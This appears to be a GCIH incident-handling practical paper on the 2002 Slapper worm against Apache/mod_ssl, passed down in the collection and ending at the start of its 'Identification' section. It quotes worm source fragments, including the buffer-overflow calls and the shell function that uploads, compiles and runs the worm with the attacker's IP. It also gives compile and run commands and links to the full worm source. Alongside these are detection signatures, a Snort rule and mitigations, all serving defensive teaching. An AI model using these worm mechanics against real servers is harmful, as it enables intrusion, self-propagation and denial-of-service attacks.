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Advanced Incident Handling and Hacker Exploits  
GCIH Practical Assignment v2.1

Title: Incident Handling of the Linux Apache-modssl Slapper worm

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## **Introduction**

The purpose of this paper is to cover the recent worm exploit on the Apache/mod-ssl web server on the Linux platform called the Slapper Worm. The paper will cover the worm in two parts. In the first part of the paper, a full analysis will be done on the Slapper Worm, which will include the signs of the worm and methods to prevent the worm. In the second part of the paper, the worm will be used to attack a fictitious network of a small academic department at a fictitious state public university.

## **Part 1 - The Exploit**

### **Name**

Apache/mod-ssl Worm Vulnerability AKA Slapper Worm

CVE: CAN-2002-0656

### **Operating Systems Affected**

The following list below is from SecuriTeam.com which shows the Linux distributions that are known to be vulnerable to Slapper.

Debian Linux 3.0, Apache 1.3.26  
Debian Linux 2.2, Apache 1.3.9  
RedHat Linux 7.0, Apache 1.3.12  
RedHat Linux 7.0 + Apache update from 10/00, Apache 1.3.14  
RedHat Linux (7.1), Apache 1.3.19  
RedHat Linux (7.2), Apache 1.3.20  
RedHat Linux 7.0/7.1/7.2 (Apache update from 01/02 or 06/02), Apache 1.3.22  
RedHat Linux 7.3, Apache 1.3.23  
SuSE Linux, Apache 1.3.12  
SuSE Linux, Apache 1.3.17  
SuSE Linux, Apache 1.3.19  
SuSE Linux, Apache 1.3.20  
SuSE Linux, Apache 1.3.23  
Mandrake Linux 7.2, Apache 1.3.14  
Mandrake Linux 8.0, Apache 1.3.19  
Mandrake Linux 8.1, Apache 1.3.20  
Mandrake Linux 8.2, Apache 1.3.23  
Slackware Linux 8.1, Apache 1.3.26  
Gentoo Linux

This Apache/mod-ssl vulnerability can possibly affect other Intel Unix (i.e. Free, OpenBSD) and Windows platforms as well as non-Intel Unix platforms.

## Protocol/Services/Applications

The https protocol is known as the Hypertext Transfer Protocol (http) with Secure Socket Layer (SSL) that provides a way to transfer World Wide Web data back and forth securely over an insecure network. The https protocol provides two of kinds of services: encryption and authentication. Encryption is used to disguise human-readable information into random noise such that only the two intended parties can decipher the random noise. Authentication is used in establishing the identity of the parties using a trusted third-party (i.e. a Certificate Authority). Currently, the https protocol is heavily used in e-commerce, banking, and many other areas where information must be transferred in a confidential manner.

Apache is currently the most popular open-source web server on the Internet and runs on many Unix and Win32 platforms. Mod-ssl is a module for the Apache web server that provides the SSL capability for Apache. Mod-ssl requires the use of the OpenSSL library containing all of the SSL API and cryptography routines needed in mod-ssl. The Slapper worm takes advantage of an exploit found in the Apache servers with mod-ssl (linked with OpenSSL library version 0.9.6c or below) on the Intel Linux platform.

### Brief Description of Exploit

The Slapper worm searches for vulnerable systems by sending invalid HTTP GET requests to port 80 of the web server. If it detects one of the vulnerable Apache on Linux configurations with mod-ssl, it attempts to exploit the SSL web server on port 443 with a buffer overflow. If the exploit attempt is successful on the server, the attacking system injects a copy of the Slapper source code to the newly attacked server and attempts to compile and run the worm code. The exploit source code and binary executable will show up in `/tmp` as `.bugtraq.c` (source code), `.uubugtraq` (uuencoded form of the source code), and `.bugtraq` (binary). The attacked server will now have the ability to do “scan and exploit” Slapper attacks against other servers. In addition, the exploit contains code from the Peer-to-Peer UDP (PUD) Distributed Denial of Service source code. PUD creates a listener on UDP port 2002 allowing the attacker to send DDoS (Distributed Denial of Service) attacks against a host or network using its created peer-to-peer network using the PUD client.

### Variants

#### Slapper.B (Aion)

This variant of the worm builds on the original but it contains a few differences. First, the worm leaves 3 files with different filenames in `/tmp` directory:

`.unlock.c` (worm source code), `.update.c` (backdoor source code) and `httpd` (worm binary). The UDP listener port was moved from 2002 to 4156. In addition, this version of the worm sends information of the exploited system via

email to an assigned email address and contains a password protected backdoor shell access on TCP port 1052. The backdoor port also has a characteristic of listening for 10 seconds and sleeping for 5 seconds.

### Slapper.C and Slapper.C2 (Cinik)

Both variants of this worm build on some of the ideas of the original and Aion variant. The UDP listener is on port 1978 for C and 1812 for C2. Both variants make attempts to download the worm source code from a web site in addition to the source code being pushed by the worm. A script is also contained in both variants that attempt to copy the worm binary into any write-permitted bin and home directory in addition to adding possible cron jobs to execute the worm at certain intervals. Like the Aion variant, the worm also emails system information to a particular email address. The difference between the C and C2 worms is that the script in the C2 variant was corrected and works properly.

### SlapperII.A

This variant of the Slapper worm is quite different from the original worm. First, the worm uses a IRC (Internet Relay Chat) channel instead of PUD for executing Distributed Denial of Service attacks. Like the Cinik worm, the SlapperII.A worm downloads its source code from a web site. The worm binary is located in the `/tmp/.socket2` directory with two files: “sslx” and “devnull”. The IRC server binary is located in the `/tmp` directory as `/tmp/k` but it may possibly have been deleted.

## **References**

There are reference links provide the advisory information about the Slapper/OpenSSL worm and buffer overflow:

CERT: CA-2002-27 <http://www.cert.org/advisories/CA-2002-27.html>

CVE: CAN-2002-0656 (under review) <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-0656>

SecurityFocus: 5363 <http://online.securityfocus.com/bid/5363>

OpenSSL: “OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability”, [http://www.openssl.org/news/secadv\\_20020730.txt](http://www.openssl.org/news/secadv_20020730.txt)

These reference links provide information about the type of DDoS attacks caused by the worm and the information breakdown of the worm:

Internet Security Systems: “Slapper worm targets OpenSSL/Apache systems”, <http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21130>

The Internet Storm Center at incidents.org provides a family tree and breakdown of the Slapper worm and its variants:

<http://isc.incidents.org/analysis.html?id=167>

Links to the source code of the Slapper exploit:

<http://packetstormsecurity.org/0209-exploits/bugtraqworm.tgz>  
<http://isc.incidents.org/exploitcode/bugtraq.c>

Link to the original PUD server and client:

<http://www.securitystorm.net/archive/ddos/files/pud.tgz>

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## Part II: The Attack

### Description and diagram of network

Our chosen network for this attack is one commonly found in a public academic education institution where most networks are mostly open and security is lacking. In our fictitious case, we have a management school at a major state university where the environment for openness and individual privacy must be considered in the network design. Most academic IT departments currently do not have firewalls implemented due to costs, staffing, and privacy issues. In most cases where firewalls are implemented, it is mainly used as a packet filter to keep out certain protocols from entering the department's local network.




Figure A

In Figure A above, we have a firewall sitting between the University's network backbone connection and the Cisco Catalyst 3550 router via a gigabit Ethernet



connection. The University's network backbone provides the connection to the Internet for all campus departments. In the complex, the 5500 router is connected to three Cisco Catalyst 6500 switches handling the complex's network traffic. One switch is reserved for only production server traffic while the remaining two switches are placed in each of the two buildings in the complex for connecting the computers belonging to faculty, staff and students. The 3 switches are interconnected with each other using Layer 3 switching so that network traffic between the multiple subnets will not have to go through the router. The firewall machine is a Sun Enterprise 280R server running a hardened version of Solaris 9. The firewall software chosen for the system was the SunScreen firewall package, which came bundled with the Solaris 9 Operating Environment.

The firewall is configured to function as a packet-filter to block certain types of network traffic. NAT (Network Address Translation) will not be used on the production servers and user workstations; instead, IP addresses based on the 5 subnet assignments from the campus network group will be used. The firewall rulesets will block the following types of network traffic from outside of the complex:

- CIFS traffic (port 135 and 139)
- SNMP traffic
- LPD (Unix line printer daemon)
- RPC (Sun Remote Procedure Call)
- NFS (Network File System)

Servers will consist of 1 RedHat 7.2 Intel servers, 3 Solaris 8/SPARC servers and 3 Windows 2000 servers. The RedHat Intel server handles a web-based email system, which connects to a mail server via IMAP protocol running Solaris 8. The web-based email runs on Apache-1.3.22 with mod-ssl linked with the OpenSSL-0.9.6c library. The Sun E250 server hosts the business school's general web site and the internal web site using the IPlanet Enterprise web server (now Sun One). For the Windows server, there are two that mainly do file and print operations for the user population while the third server is used to run a calendaring application accessed via the web on the IIS-5.0 web server.

### **Protocol Description**

The Slapper worm exploits the https protocol running primarily on the Apache web server with the mod-ssl module linked against the OpenSSL library of version 0.9.6d or less.

The HyperText Transfer Protocol, originally developed in 1991, is best defined as "how Web pages are requested and transmitted across the Internet."**[1]** The http protocol is a "stateless" protocol meaning it has no prior knowledge of the actions by the web browser. Workarounds to the problem have been done using features

such as “cookies” with database management to keep track of a web browser’s action. Many web sites use this feature for items such as shopping carts, login authentication and web-based email. The only problem with it is that this sensitive information is seen clear-text over the network and can be used to hijack someone’s session. A solution to the problem would be encrypting the entire session to secure the sensitive information.

In 1994, Netscape Communications introduced a browser and web server using the Secure Sockets Layer (SSL) protocol to secure information going between the two points. SSL can work with any TCP connection-oriented based protocol such as http, imap, pop and smtp without having to modify the protocol. SSL currently exists in version 2 and 3 but neither is listed as a standard by the IETF. Instead, IETF has released a standard based on SSLv3 called Transport Layer Security (TLS) published as RFC2246. SSL make uses of both symmetric (e.g., 3DES, IDEA) and public key (e.g., RSA) encryption schemes.

The SSL protocol sits between the TCP/IP network layer and the application layer (such as http) and provides two functions: trust and security. SSL can provide trust on the client and server sides by using certificates provided by a trusted certificate authority (CA). “A certificate is an electronic document used to identify an individual, a server, a company, or some other entity and to associate that identity with a public key.”**[6]** Once trust is established through the certificates, it uses public key encryption to share a secret symmetric key to be used for the remainder of the session. The establishment of the trust and security functions is called a SSL handshake.

One addition to the handshake is that client authentication to the server does not need a certificate. For most e-commerce, banking and database sites, certificates are mainly used on the server side while most clients authenticate themselves through a combination of username/password or account number/PIN.

The following example is a sequence of steps of how an SSL-enabled browser of a user establishes a handshake with an SSL-enabled web server at a bank called [www.mybigbank.com](http://www.mybigbank.com). Client certificate authentication will not be used in this situation.

**Step 1.** The browser initiates the connection by sending a “client hello” message to the server with the following information: SSL version number, random data, cipher suite list, session ID, and available compression methods. The client will wait for a “server hello” message.

**Step 2.** The web server receives the “client hello” and sends back a “hello” to the web browser client with the following information: latest SSL version number supported by the client, random data, selected cipher suite, session ID, and selected compression method. The server selected values for the version number, cipher suite, session ID, and compression method are chosen from the

list issued by the client. Now, the browser and server have agreed on a version, cipher suite, and compression method for communications.

Step 3. Immediately after the web server sends a “hello” back to the client, the server sends a X.509 certificate to the client for authentication.

Step 4. The web browser checks the validity of the server’s certificate by checking the following information: current date of session in valid period of certificate, check the CA for trust, check for validity of digital signature on certificate, and validity of the server name on certificate.

Step 5. When the certificate is authenticated, it will use the generated random data from the exchange for a premaster secret key and encrypt the key with the public key from the server certificate. The encrypted shared key is sent back to the server.

Step 6. Both the client and server will use the premaster key to build a master key with information from the “hello” exchange. The master key will be used to generate session ids at both ends.

Step 7. The client and server will exchange each other’s session keys and acknowledgements of the keys. The keys will be used in encrypting and decrypting data using symmetrical cryptography. The handshake is now complete.

Step 8. The web browser and server can now communicate with each over this secured channel.

## How the Exploit Works

The Slapper worm takes advantage of a buffer overflow condition found in the OpenSSL implementation of the SSLv2 protocol. In versions of 0.9.6d or less of OpenSSL, there is a buffer overflow vulnerability contained in the handling of the premaster key when issued from the client. When the client sends an oversized premaster key to the server, it triggers the buffer overflow.

The Slapper worm source is available from at least two sources, which can be found in the reference links section above. Basically, the worm source code must be placed in the /tmp directory with filename “.bugtraq.c”. In order to compile the source, the GNU C compiler and the OpenSSL libcrypto library must be available for it to build. To compile, type the following command line:

```
gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto
```

The worm executes with the following command line:

```
/tmp/.bugtraq <IP-address of attacking system>
```

There is one important precaution that needs to be taken when testing the behavior of this worm. It must be tested in a network environment isolated from the rest of the LAN and Internet. The worm will start scanning networks when it

starts execution. A hub or switch connecting a few servers together is sufficient for the test.

The Slapper worm chooses the IP address to be attacked based on a random selection of the network. The victim IP address is produced from lines 1734-1737 and 1840-1857 in the `main` function. It chooses the first octet (`a`) to be a random selection from the `classes` array (class A numbers). The `classes` array excludes certain class A networks such as 1, 2, and 10. NATed IP addresses using 10.x.x.x form will not be attacked in this case.

```
231 unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26,
28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
232     46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128,
129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
233     139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156,
157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
234     168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185,
186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
235     198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215,
216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
236     230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };

1734     a=classes[rand()%(sizeof classes)];
1735     b=rand();
1736     c=0;
1737     d=0;

1840     if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if
(clients[n].sock == 0) {
1841         char srv[256];
1842         if (d == 255) {
1843             if (c == 255) {
1844                 a=classes[rand()%(sizeof classes)];
1845                 b=rand();
1846                 c=0;
1847             }
1848             else c++;
1849             d=0;
1850         }
1851         else d++;
1852         memset(srv,0,256);
1853         sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
1854         clients[n].ext=time(NULL);
1855         atcp_sync_connect(&clients[n],srv,SCANPORT);
1856         p++;
1857     }
```

After an IP address is chosen for the attack, it will attempt to send an invalid GET (GET / HTTP/1.1) request to port 80 of the chosen IP address. The `main` function called `exploit` function (lines 1625-1689) will call the `GetAddress` function to send the GET request. If there is no response from port 80, return and try another IP address.

```

1625 void exploit(char *ip) {
1635     if ((a=GetAddress(ip)) == NULL) exit(0);

1083 char *GetAddress(char *ip) {
1084     struct sockaddr_in sin;
1085     fd_set fds;
1086     int n,d,sock;
1087     char buf[1024];
1088     struct timeval tv;
1089     sock = socket(PF_INET, SOCK_STREAM, 0);
1090     sin.sin_family = PF_INET;
1091     sin.sin_addr.s_addr = inet_addr(ip);
1092     sin.sin_port = htons(80);
1093     if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
1094     write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));

1100     if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
1101         if(FD_ISSET(sock, &fds) {
1102             if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
1103             for (d=0;d<n;d++) if (!strcmp(buf+d,"Server: ",strlen("Server: "))) {
1104                 char *start=buf+d+strlen("Server: ");
1105                 for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
1106                 cleanup(start);
1107                 return strdup(start);
1108             }
1109         }
1110     }
1111     return NULL;
1112 }

```

When the `GetAddress` function returns information on port 80, the `exploit` function check for architecture information listed on lines 1181-1209. If the web server is not Apache, it will go back to the `main` function and connect to another IP address.

```

1636     if (strcmp(a,"Apache",6)) exit(0);
1637     for (i=0;i<MAX_ARCH;i++) {
1638         if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
1639             arch=i;
1640             break;
1641         }
1642     }

```

Now, the worm will setup the SSL “hello” exchange between client and server. The buffer overflow occurs at line 1674 in which an oversized key (located at 1223-1307) is sent to the server. One interesting item to note is that there is another attempt to overflow the buffer by overwriting the session id length, which is shown on lines 1655-1661. The only problem is that there are no known session id issues for the SSLv2 protocol but there is one for SSLv3.

```

1652     ssl = ssl_connect_host(ip, port);

```

```

1653     ssl2 = ssl_connect_host(ip, port);
1654
1655     send_client_hello(ssl1);
1656     get_server_hello(ssl1);
1657     send_client_master_key(ssl1, overwrite_session_id_length,
sizeof(overwrite_session_id_length)-1);
1658     generate_session_keys(ssl1);
1659     get_server_verify(ssl1);
1660     send_client_finished(ssl1);
1661     get_server_finished(ssl1);
1662
1663     port = get_local_port(ssl2->sock);
1664     overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
1665     overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
1666
1667     *(int*)&overwrite_next_chunk[156] = cipher;
1668     *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
1669     *(int*)&overwrite_next_chunk[196] = ciphers + 16;
1670
1671     send_client_hello(ssl2);
1672     get_server_hello(ssl2);
1673
1674     send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
1675     generate_session_keys(ssl2);
1676     get_server_verify(ssl2);
1677
1678     for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >>
24);
1679
1680     send_client_finished(ssl2);
1681     get_server_error(ssl2);

```

Once the worm commits the buffer overflow to the web server, the `exploit` function will call the `sh` function at line 1343. The function will create a bash shell with the same user permission as that of the web server. Next, it removes any previous Slapper worm source file with the name of `/tmp/.bugtraq.c`. After it completes the deletion function at line 1350, the `encode` function at line 1351 upload the attacker's Slapper source code to the attacked server. This is done by uencoding the attacker's copy of the worm source located at `/tmp/.bugtraq.c` and sending it through a socket connection to the attacked server. The attacked server will udecode the stream and compile the source code to the output name of `/tmp/.bugtraq`. In order for the source to compile, it must have the `libcrypto.a` or `libcrypto.so` library in `/usr/lib`. Once it is compiled, it will execute binary with the attacker IP address as its argument (such as `/tmp/.bugtraq 1.2.3.4`).

```

1343 int sh(int sockfd) {
1349     writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
1350     writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;\n");
1351     encode(sockfd);

```

```

1352     writem(sockfd,"__eof__\n");
1353     conv(localip,256,myip);
1354     memset(rcv,0,1024);
1355     sprintf(rcv,"usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq
/tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
1356     writem(sockfd,rcv);

```

After executing the worm binary, the worm establishes a UDP listening port at port number 2002, which is shown at lines 1711-1714 and line 65.

```

65     #define PORT          2002

1711     if (audp_listen(&udpserver,PORT) != 0) {
1712         printf("Error: %s\n",aerror(&udpserver));
1713         return 0;
1714     }

```

This execution starts the loop again in attacking additional Apache servers and maintains a connection back to the attacking system. After executing the worm for a short amount of time, the attacker could now have a large number of compromised systems to start a DDoS attack using a separate program called the PUD client.

The PUD server portion of the code is located between lines 1965 and 2434 of the Slapper source code. In between these 370 lines of source code there is a large `C switch` block containing the remote executable commands. Currently, there is a PUD client that can talk to the PUD server to execute the commands. The current lists of available PUD commands are shown in the table below.

PUD codes	Description	Slapper Source code lines
0x20	Info. Returns the current status which include version number and IP address	1966-1989
0x21	Open a bounce. Use another host to send out commands	1990-2029
0x22	Close a bounce	2030-2038
0x23	Send a message to a bounce	2039-2046
0x24	Run a command. Execute the shell command on the exploited hosts in the network	2048-2082
0x26	Route	2087-2129
0x28	List. Return a list of exploited hosts in the P2P network	2132-2136
0x29	UDP flood. Send a DoS attack against a host on its UDP port. If no port is issued, attack a random	2137-2177

	port on the host.	
0x2A	TCP flood. Same function as UDP flood except using TCP-based port.	2178-2209
0x2B	IPv6 TCP flood. IPv6 version of TCP flood.	2210-2239
0x2C	DNS flood. Send DoS DNS requests to designate IP address.	2240-2317
0x2D	Email Scan. Start at the "/" directory of the exploited system and find email addresses in the files. Return the email address back to the designated address.	
0x70	Incoming client. Signals a new exploited server.	2342-2367
0x71	Receive the list	2368-2388
0x72	Send the list	2389-2391
0x73	Get my IP	2392-2399
0x74	Transmit IP to other clients	2400-2408
0x41->0x47	Relay to other clients	2409-2430

### Description and Diagram of the Attack

The Slapper worm can easily infiltrate our example network since port 80 and port 443 are commonly used services. The firewall is currently only setup to filter out CIFS, RPC, NFS and SNMP packets from the Internet. No outbound filtering is set on the firewall so a compromised system in the network can launch Slapper attacks on its own.

For our fictitious attack, we have a hacker named Eve who has plans to bring down a hacker web site through a denial of service. She downloads the Slapper worm source code and the PUD client onto her newly created Linux system and compiled the binary. After unpacking the Slapper files in /tmp and compiling the .bugtraq.c source file into a binary called .bugtraq, she executes the binary in the following manner:

/tmp/.bugtraq <w.x.y.z> where <w.x.y.z> is the IP address of her computer.

The following figure (figure B) shows how the Slapper worm attacks a single server. If the attack succeeds, then the worm will to spread other systems.






Figure B

After running the Slapper worm, she compiles the PUD client source file (pudclient.c) to build a PUD client executable. After it was built, she runs the PUD client to test if any exploited servers showed up in her peer-to-peer network. She issues a "list" command and immediately a list of IP addresses is shown. In figure C, we have a possible visual illustration of the peer-to-peer connections. The network could grow larger over time as the worm propagation continues and the web server hole is not disabled or disabled.




Figure C

The most visible sign that the system has been attacked is that Slapper source code and the binary are left in the `/tmp` like the following:

```
[root@bob tmp]# cd /tmp
[root@bob tmp]# ls -la
total 237
drwxrwxrwt    8 root    root    1024 Dec 27 04:02 .
drwxr-xr-x   19 root    root    1024 Dec 19 17:30 ..
-rwxr-xr-x    1 apache  apache  56167 Dec 26 21:15 .bugtraq
-rw-r-xr-x    1 apache  apache  68335 Dec 26 21:15 .bugtraq.c
drwxrwxrwt    2 xfs     xfs     1024 Dec 19 17:31 .font-unix
drwxr-xr-x    2 root    root    12288 Dec 11 03:59 lost+found
-rw-r--r--    1 apache  apache  94181 Dec 26 21:15 .uubugtraq
[root@bob tmp]#
```

In addition, the established PUD port is easily seen by running the “`netstat --protocol inet -l`” command to check for a UDP port listening on 2002.

```
[root@bob httpd]# netstat --protocol inet -l
Active Internet connections (servers only)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 *:32768                  *:*                      LISTEN
tcp        0      0 bob:32769                *:*                      LISTEN
tcp        0      0 *:http                   *:*                      LISTEN
tcp        0      0 *:x11                    *:*                      LISTEN
tcp        0      0 *:ssh                    *:*                      LISTEN
tcp        0      0 bob:smtp                  *:*                      LISTEN
tcp        0      0 *:x11-ssh-offset        *:*                      LISTEN
tcp        0      0 *:https                  *:*                      LISTEN
udp        0      0 *:32768                  *:*                      LISTEN
udp        0      0 *:780                    *:*                      LISTEN
udp        0      0 *:2002                   *:*                      LISTEN
```

## Signature of the attack

The Slapper worm leaves quite a trail of evidence in its wake. First, the source code (`.bugtraq.c`), the uuencoded source file (`.uubugtraq`), and the binary (`.bugtraq`) are found in `/tmp` as shown from a screen listing below.

In addition to leaving source code, the worm leaves some error messages in the Apache error message log. The first line shows the error of the port 80 GET request, which is not RFC2616 compliant. The next 2 lines shows the buffer overflow occurring by the 2 separate exploit attempts shown earlier. The “connection id” error is the session id buffer overflow attempt while the “handshake failed” error is the oversize buffer overflow attack.

```
[Fri Dec 20 13:30:34 2002] [error] [client xx.xx.xx.xx] client sent HTTP/1.1
request without hostname (see RFC2616 section 14.23): /
[Fri Dec 20 13:30:37 2002] [error] mod_ssl: SSL handshake failed (server
bob:443, client xx.xx.xx.xx) (OpenSSL library error follows)
[Fri Dec 20 13:30:37 2002] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
[Fri Dec 20 13:35:35 2002] [error] mod_ssl: SSL handshake timed out (client
xx.xx.xx.xx, server bob:443)
[Fri Dec 20 13:35:35 2002] [error] mod_ssl: SSL handshake timed out (client
xx.xx.xx.xx, server bob:443)
```

In addition, the SSL log for apache-modssl shows that this connection used the SSLv2 protocol.

```
[20/Dec/2002:13:35:39 -0800] 164.67.164.20 SSLv2 RC4-MD5 "-" -
```

Since the worm attempts to attack additional web servers, it is possible to see outgoing port 80 and 443 to many different consecutive IP addresses. These outgoing port 80 and 443 web connections should not be normal for a web server. These connections will show up using the “`netstat -a`” command.

The current snort rule database currently has an entry for the Slapper worm located at <http://www.snort.org/snort-db/sid.html?sid=1887> with the rule shown below. The rule already exists in the `experimental.rules` file in the snort-1.9.x distribution. For older versions, it can be downloaded from the current stable ruleset located at <http://www.snort.org/dl/rules/snortrules-stable.tar.gz> in the `misc.rules` file.

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"MISC OpenSSL
Worm traffic"; flow:to_server,established; content:"TERM=xterm";
nocase; classtype:web-application-attack;
reference:url,www.cert.org/advisories/CA-2002-27.html; sid:1887;
rev:2;)
```

## Protections Against Attack

There are several ways to protect Apache-modssl servers from being exploit by the worm. The solutions are listed in descending order from most to least useful.

### Solution 1: Update OpenSSL library

A patch issued by the OpenSSL Development Team for the master key buffer overflow exploit had been available since late July of 2002. The patch basically adds key size checking routines to prevent the buffer overflow. Currently, the most current stable version of OpenSSL at this time is 0.9.6h. There are two ways to patch Apache-modssl depending on how it was installed. If the Apache server was part of the original Linux distribution, downloading and updating the OpenSSL library update from the Linux distribution sites and restarting Apache should fix the exploit. For sites that build their own version of OpenSSL for Apache-modssl, it would require a recompile of the Apache-modssl server with the updated OpenSSL library and restarting the server.

### Solution 2: Disable SSLv2 protocol from web server

If upgrading OpenSSL is not an available short-term solution, then disabling the OpenSSL v2 protocol should be the next option. Add the following line configuration in Apache `httpd.conf` file:

```
SSLProtocol all -SSLv2
```

Change the following line in Apache `httpd.conf` from:

```
SSLCipherSuite \  
ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL  
to
```

```
SSLCipherSuite \  
ALL:!ADH:!EXP56:RC4+RSA:+HIGH:+MEDIUM:+LOW:SSLv2:+EXP:+eNULL
```

This solution will prevent the worm from exploiting the SSLv2 buffer overflow in OpenSSL. The `SSLProtocol` option enables the SSLv3 and TLSv1 protocol but not the SSLv2 protocol. By default, if `SSLProtocol` option is not specified, all three protocols are enabled.

The only disadvantage with this solution is that some older browsers may not work in secure mode, as they may not have SSLv3 and TLSv1 capability. The best solution for this problem is to have the user upgrade to the latest secure browser.

### Solution 3: Turn off web server

If the SSL portion of the web server is not needed for production or test use but the normal web server (port 80) is needed, we can comment out the following type of line(s) in the Apache `httpd.conf` file:

```
Listen xx.xx.xx.xx:443
Listen 443
```

Otherwise, if a web server is not needed at all on the server, it is best to remove the web server binaries and startup scripts.

### Additional Protection Suggestions

The following is a list of additional protections to help prevent the spread of the worm. The solutions do not prevent your system from being exploited but they do prevent the worm from being spread to other systems.

#### Suggestion 1: Restrict the gcc executable permissions

Since the Slapper worm requires the gcc compiler to create the worm executable binary on the attacked binary, it is recommended to restrict the executable permissions of the gcc binary to a few users. Here are the steps needed to complete the change:

1) Create a group in `/etc/groups` called “compiler” (or some other useful group name) with the following format:

```
compiler*:5000:user1,user2
```

2) Find the full path location of the gcc binary with the following command:

```
which gcc
```

3) Assuming we have gcc in `/usr/bin/gcc`, change the group to compiler and the execution permissions to group only.

```
chgrp compiler /usr/bin/gcc
chmod 750 /usr/bin/gcc
```

Please make sure that the web server user account is not in the compiler group and the web server account is not “root” (a big security risk). Also, if the gcc compiler is ever updated, check to make sure permissions have not changed.

#### Suggestion 2: Disable outgoing port 80 and 443 request

Linux systems come with `ipchains`, which allow packet filtering at the host level. In this case, we want to use `ipchains` to disallow outgoing port 80 and 443 requests since web servers generally do not make outbound port 80 and 443 connections.

```
/sbin/ipchains -A output -p tcp -s any/0 1024: -d any/0 80 -j DENY  
/sbin/ipchains -A output -p tcp -s any/0 1024: -d any/0 443 -j DENY
```

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## **Part III: The Incident Handling Process**

The following incident handling process described is a fictional situation based on the experiences found in most university and college IT departments. The structure of most higher-education IT departments is quite de-centralized in which academic departments, administrative units and other campus organizations run their own IT departments. Generally, a central IT organization exists to provide general infrastructure services (e.g. Internet connectivity, DNS services and email) but other services (e.g. computation, file, printing) are provided by the departments IT group. Most campus network environments are generally quite open and security is generally an afterthought.

The Business School at the Big State University has a population of about 400 enrolled students, 50 faculty, and 100 staff. The network design for the management school is based on one used in a professional school at a major public university. The school's network has been recently upgraded to a Gigabit backbone from an older ATM network. All network connections are switched to increase network performance and prevent packet sniffing from within the internal network.

### **Preparation**

The business school IT department did not have any established security and incident-handling policy at the time of the Slapper incident. The reason for this was that management had not put security high on its list of priorities, as the number of incidents occurring in the past few years at the organization did not seem be high enough for justification. Instead, minimizing downtime by bringing critical services back online quickly was a priority.

In the months preceding the Slapper incident, the number of incidents started to rise dramatically especially attacks on server and desktop systems. After realizing the amount of staff time needed to deal with the incidents, management was convinced that security should have a higher priority. Management then made the decision to create a security group to handle these types of issues within the business school. The group would consist of a network manager, a senior network administrator and a senior system administrator. Each of the members of the group would have one-third of their time available to handle security issues. The group would have the following responsibilities: creation of security and incident-handling policies, monitoring the network for unusual behaviors, creation of secured server prototypes.

The security group decided that it would more plausible to implement security policies in small steps rather than huge leaps so they would not cause problems for the user population. The first item tackled by the security group was an acceptable use policy for the student, staff and faculty population that requires them to have read and signed the agreement before they were allowed access to

the school's network and server resources. The acceptable user policy covered several different areas including account sharing, hacking, harassment and copyright issues.

As for the incident handling, the group setup a policy to have compromised systems recovered so they could be put back into service as soon as possible. The policy was to have every production system imaged before it is brought into production. Windows NT/2000 servers were imaged to CDs using the Ghost imaging program. Solaris servers were imaged using ufsdump onto DDS media and Linux servers were imaged onto CD images with the mkCDrec program . The test recovery of an image was done on a separate hard drive to validate the image. The recovery procedure steps for each system were fully documented. After the image was validated, the image media was sent offsite to a secured storage facility company for protection and long-term storage. The ability to recall the storage containers was restricted to members of the security group and the managers.

In addition to the images, all production systems were backed up daily to a central backup server. The backups were randomly tested for recovery to make sure there were no media errors. At the end of the week, the tape sets were sent off-site to a secured storage facility for a week and then rotated with a new set. This was designed to recover data in the event of a disaster.

For out-of-band communications, all technical staff members and managers were equipped with cell phones to contact each other in emergency situations. The phones have "direct connect" capabilities to allow immediate contact with other members of the group. In addition, a contact list of names and order of contact precedence is given to all technical staff members as a small wallet-sized card.

A firewall was recently installed in front of the site's router to curtail the number of NetBIOS and RPC attacks. Due to the school's limited budget, the organization was limited to using SunScreen Firewall software as it came with the Solaris 9 operating environment. Future plans were made in the long-term budget to try and obtain a hardware-based firewall solution such as a Cisco PIX.

Otherwise, no other policies and security tools were in placed before the Slapper incident.

## **Identification**

